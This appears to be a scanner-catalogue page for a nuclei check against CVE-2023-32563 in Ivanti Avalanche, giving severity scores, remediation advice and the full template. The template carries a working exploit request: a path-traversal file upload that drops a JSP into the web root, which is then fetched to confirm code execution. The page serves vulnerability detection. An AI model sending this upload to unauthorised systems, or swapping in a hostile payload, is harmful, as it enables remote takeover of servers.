Ivanti Avalanche - Remote Code Execution

criticalseverity

9.8CVSS score

89.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An unauthenticated attacker could achieve the code execution through a RemoteControl server.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches or updates provided by Ivanti to mitigate this vulnerability.

How to confirm it

Send: POST /Servlet/Skins ; GET /{{randstr}}.jsp
Positive when: contains in body_2 "CVE-2023-32563"

Run it with nuclei: nuclei -id CVE-2023-32563 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-32563

info:
  name: Ivanti Avalanche - Remote Code Execution
  author: princechaddha
  severity: critical
  description: An unauthenticated attacker could achieve the code execution through a RemoteControl server.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Ivanti to mitigate this vulnerability.
  reference:
    - https://twitter.com/wvuuuuuuuuuuuuu/status/1694956245742923939
    - https://forums.ivanti.com/s/article/Avalanche-Vulnerabilities-Addressed-in-6-4-1?language=en_US
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32563
    - https://github.com/mayur-esh/vuln-liners
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-32563
    cwe-id: CWE-22
    epss-score: 0.89099
    epss-percentile: 0.99782
    cpe: cpe:2.3:a:ivanti:avalanche:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: ivanti
    product: avalanche
  tags: cve,cve2023,ivanti,avalanche,rce,oast,unauth,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST /Servlet/Skins HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 333
        Content-Type: multipart/form-data; boundary=------------------------eacf31f23ac1829f
        Connection: close

        --------------------------eacf31f23ac1829f
        Content-Disposition: form-data; name="guid"

        ../../../Web/webapps/ROOT
        --------------------------eacf31f23ac1829f
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp"

        <%
        out.println("CVE-2023-32563");
        %>
        --------------------------eacf31f23ac1829f--
      - |
        GET /{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_2
        words:
          - "CVE-2023-32563"

References

Use this check only on systems you are authorised to test. Where the data comes from